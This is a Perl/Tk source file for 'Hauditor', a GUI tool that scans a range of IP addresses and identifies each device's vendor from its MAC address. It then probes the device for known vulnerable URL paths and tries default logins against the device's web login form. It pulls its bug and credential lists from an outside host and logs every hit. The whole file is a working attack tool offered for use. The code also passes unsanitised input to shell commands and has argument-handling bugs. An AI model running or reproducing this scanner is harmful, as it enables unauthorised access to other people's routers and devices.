|| Author: KSURi/CUP.su || Back to article: Wardriving uncovered ||
#!perl -w

use strict;
use threads;
use LWP::UserAgent;
use HTTP::Request::Common;
use Tk;
use Tk::LabFrame;
use Tk::LabEntry;
use Tk::DialogBox;

my $MW=MainWindow->new(-title=>"Hauditor by .:[KSURi]:. [ http://cup.su/ ]");
$MW->geometry("520x360");
$MW->resizable(0,0);

$MW->Label(-text=>"# hauditor [GUI]",
           -font=>"{Verdana} 7 bold")->pack(-side=>"top",
                                            -anchor=>"n");
$MW->Label(-text=>"# (C)oded by .:[KSURi]:.",
           -font=>"{Verdana} 7 bold")->pack(-side=>"top",
                                            -anchor=>"n");
$MW->Label(-text=>"# http://cup.su/",
           -font=>"{Verdana} 7 bold")->pack(-side=>"top",
                                            -anchor=>"n");

my($startIp,$endIp);
my $frameInputs=$MW->LabFrame(-label=>"Input and Controls",
                              -labelside=>"acrosstop")->pack(-side=>"right",
                                                             -anchor=>"nw");
$frameInputs->LabEntry(-label=>"Start IP: ",
                       -textvariable=>\$startIp)->pack();
$frameInputs->LabEntry(-label=>"End IP: ",
                       -textvariable=>\$endIp)->pack();
$frameInputs->Button(-text=>"Scan",
                     -command=>sub { startScan() })->pack();
$frameInputs->Button(-text=>"Update",
                     -command=>sub { generalUpdate() })->pack();
$frameInputs->Button(-text=>"Exit",
                     -command=>sub { exit(0) })->pack();

my $textOutput=$MW->Text(-width=>300,
                         -height=>100,
                         -wrap=>"word")->pack(-side=>"bottom",
                                              -anchor=>"s");
$|=1;
tie(*STDOUT,ref($textOutput),$textOutput);

MainLoop();

my(%macDb,%vulnerableHardware,%defaultCredits)=();
sub startScan
{
    if(!$startIp||!$endIp) { guiError($MW,"Specify IP range please"); return; }
    return if(!loadMacDb()||!loadBugsDb()||!loadCreditsDb());
    logAction("scan started");
    foreach my $addr(genIpRange($startIp,$endIp))
    {
        my $vendor=getVendor($addr);
        print $addr.": ";
        if($vendor eq "unknown")   { print "vendor is unknown\n"    }
        elsif($vendor eq "failed") { print "vendor lookup failed\n" }
        else
        {
            if(exists($vulnerableHardware{$vendor}))
            {
                my @res=threads->create(\&tryBugs,$addr,$vendor)->join;
                if(scalar(@res)>0)
                {
                    print "vulnerable!\n";
                    logAction($addr.": vulnerable!\nBugs: [".join("; ",@res)."]");
                }
                else { print "unvulnarable!\n" }
            }
            elsif(exists($defaultCredits{$vendor}))
            {
                my $res=threads->create(\&tryDefaultCredits,$addr,$vendor)->join;
                if($res ne "failed")
                {
                    print "vulnerable!\n";
                    logAction($addr." vulnerable!\nLogin credits: ".$res);
                }
                else { print "unvulnarable!\n" }
            }
            else { print "no bugs in db\n" }
        }
    }
    logAction("scan finished\n");
    print "\nScan finished. Check scan.log for details\n";
}

sub getVendor
{
    my $target=shift;
    my $split;
    `ping -n 1 $target`;
    ($^O=~/mswin/i)?$split='-':$split=':';
    if(`arp -a $target`=~/(.{2}$split.{2}$split.{2})$split.{2}$split.{2}$split.{2}/m)
    {
        my $vendorBytes=uc($1);
        $vendorBytes=~s/\:/-/ if($^O!~/mswin/i);
        if(exists($macDb{$vendorBytes})) { return $macDb{$vendorBytes} }
        else { return "unknown" }
    }
    else { return "failed" }    
}

sub tryBugs
{
    my($target,$type)=@_;
    my @foundBugs=();
    foreach my $bug(@{$vulnerableHardware{$type}})
    {
        my $ua=LWP::UserAgent->new();
        my $response=$ua->get("http://".$target.$bug);
        if($response->{_rc}==200) { push(@foundBugs,$bug) }
    }
    return @foundBugs;
}

sub tryDefaultCredits
{
    my($target,$type)=shift;
    my %formDetails=();
    my $ua=LWP::UserAgent->new();
    my $response=$ua->get("http://".$target."/");
    if($response->is_success)
    {
        foreach(split("\n",$response->content))
        {
            if(/<form/i)
            {
                if(/action\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{action}=$1 }
                if(/method\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{method}=$1 }
            }
            if(/<input/i)
            {
                if(/type\s*=\s*[\"?|\'?]text[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/)     { $formDetails{login}=$1 }
                if(/type\s*=\s*[\"?|\'?]password[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/) { $formDetails{pass}=$1  }
            }
        }
    }
    else { return "failed" }
    return "failed" if(!$formDetails{method}||!$formDetails{login}||!$formDetails{pass});
    foreach my $credits(@{$defaultCredits{$type}})
    {
        my($login,$password)=split(':',$credits);
        if($formDetails{method}=~/get/i)
        {
            my $url="http://".$target.'/';
            if(defined($formDetails{action})) { $url.=$formDetails{action}.'?' }
            else { $url.='?' }
            $url.=$formDetails{login}.'='.$login.'&';
            $url.=$formDetails{pass}.'='.$password;
            $response=$ua->get($url);
        }
        else
        {
            my $url="http://".$target.'/';
            $url.=$formDetails{action} if(defined($formDetails{action}));
            $response=$ua->request(POST $url,
                                   Content_Type=>"application/x-www-form-urlencoded",
                                   Content=>[$formDetails{login}=>$login,
                                             $formDetails{pass}=>$password]);
        }
        if($response->{_rc}==200)
        {
            if($response->content=~/access denied|login incorrect|password incorrect|wrong login|wrong password|can't log\s*in/im) { next }
            else { return $credits }
        }
        else { return "failed" }
    }
}


sub genIpRange
{
    my($start,$end)=@_;
    print "[~] Generating IP range... ";
    my @octets1=split('\.',$start);
    my @octets2=split('\.',$end);
    if($#octets1!=3||$#octets2!=3) { guiError($MW,"Wrong IP range specified!",0); return; }
    for(0..3) { if($octets1[$_]>$octets2[$_]) { guiError($MW,"Wrong IP range specified!"); return; } }
    my @range=();
    for(;$octets1[3]<=$octets2[3];$octets1[3]++) { push(@range,$octets1[0].'.'.
                                                               $octets1[1].'.'.
                                                               $octets1[2].'.'.
                                                               $octets1[3]) }
    print "OK\n\n";
    return @range;
}

sub loadMacDb
{
    print "[~] Loding MAC database... ";
    if(-e "mac.cache")
    {
        open(CACHE,"mac.cache")||guiError($MW,"Error loading MAC database!")&&return 0;
        while(<CACHE>)
        {
            chomp;
            my($bytes,$vendor)=split(/\s/,$_,2);
            $macDb{uc($bytes)}=uc($vendor);
        }
        close CACHE;
        print "OK\n";
        return 1;
    }
    else
    {
        open(CACHE,">mac.cache")||guiError($MW,"Error loading MAC database!")&&return 0;
        my $dbUrl="http://standards.ieee.org/regauth/oui/oui.txt";
        my $ua=LWP::UserAgent->new;
        my $response=$ua->get($dbUrl);
        if($response->is_success)
        {
            foreach(split("\n",$response->content))
            {
                if($_=~/(.{2}-.{2}-.{2})\s+\(hex\)\s+(.*)/)
                {
                    $macDb{uc($1)}=uc($2);
                    print CACHE uc($1)." ".($2)."\n";
                }
            }
        }
        else { guiError($MW,"Error loading MAC database!"); return 0; }
        close CACHE;
        print "OK\n";
        return 1;
    }
}

sub loadBugsDb
{
    print "[~] Loading bugs database... ";
    if(-e "bugs.cache")
    {
        open(CACHE,"bugs.cache")||guiError($MW,"Error loading bugs database!")&&return 0;
        while(<CACHE>)
        {
            chomp;
            my($vendor,$bug)=split("=>",$_);
            push(@{$vulnerableHardware{$vendor}},$bug);
        }
        close CACHE;
        print "OK\n";
        return 1;
    }
    else
    {
        open(CACHE,">bugs.cache")||guiError($MW,"Error loading bugs database!")&&return 0;
        my $dbUrl="http://xcontest.narod.ru/bugs.cache";
        my $ua=LWP::UserAgent->new;
        my $response=$ua->get($dbUrl);
        if($response->is_success)
        {
            foreach(split("\r\n",$response->content))
            {
                my($vendor,$bug)=split("=>",$_);
                push(@{$vulnerableHardware{$vendor}},$bug);
                print CACHE $vendor."=>".$bug."\n";
            }
        }
        else { guiError($MW,"Error loading bugs database!"); return 0; }
        close CACHE;
        print "OK\n";
        return 1;
    }
}

sub loadCreditsDb
{
    print "[~] Loading credentials database... ";
    if(-e "credits.cache")
    {
        open(CACHE,"credits.cache")||guiError($MW,"Error loading credentials database!")&&return 0;
        while(<CACHE>)
        {
            chomp;
            my($vendor,$credits)=split("=>",$_);
            push(@{$defaultCredits{$vendor}},$_);
        }
        close CACHE;
        print "OK\n";
        return 1;
    }
    else
    {
        open(CACHE,">credits.cache")||guiError($MW,"Error loading credentials database!")&&return 0;
        my $dbUrl="http://xcontest.narod.ru/credits.cache";
        my $ua=LWP::UserAgent->new;
        my $response=$ua->get($dbUrl);
        if($response->is_success)
        {
            foreach(split("\r\n",$response->content))
            {
                my($vendor,$pass)=split("=>",$_);
                push(@{$defaultCredits{$vendor}},$pass);
                print CACHE $vendor."=>".$pass."\n";
            }
        }
        else { guiError($MW,"Error loading credentials database!"); return 0; }
        close CACHE;
        print "OK\n";
        return 1;
    }
}

sub generalUpdate
{
    unlink("mac.cache") if(-e "mac.cache");
    loadMacDb();
    unlink("bugs.cache") if(-e "bugs.cache");
    loadBugsDb();
    unlink("credits.cache") if(-e "credits.cache");
    loadCreditsDb();
    print "\n[+] Updating finished!\n\n";
}

sub logAction
{
    my $action=shift;
    open(LOG,">>scan.log")||return;
    print LOG localtime()." - ".$action."\n";
    close LOG;
}

sub guiError
{
    my($window,$text)=@_;
    print "FAILED\n";
    my $errWindow=$window->DialogBox(-title=>"error",
                                     -buttons=>["OK"]);
    $errWindow->add("Label",-text=>$text,
                            -font=>"{Verdana} 7 bold",
                            -foreground=>"red")->pack;
    $errWindow->Show;
    $errWindow->destroy;
}

# hauditor.pl
# (C)oded by .:[KSURi]:.
# http://cup.su/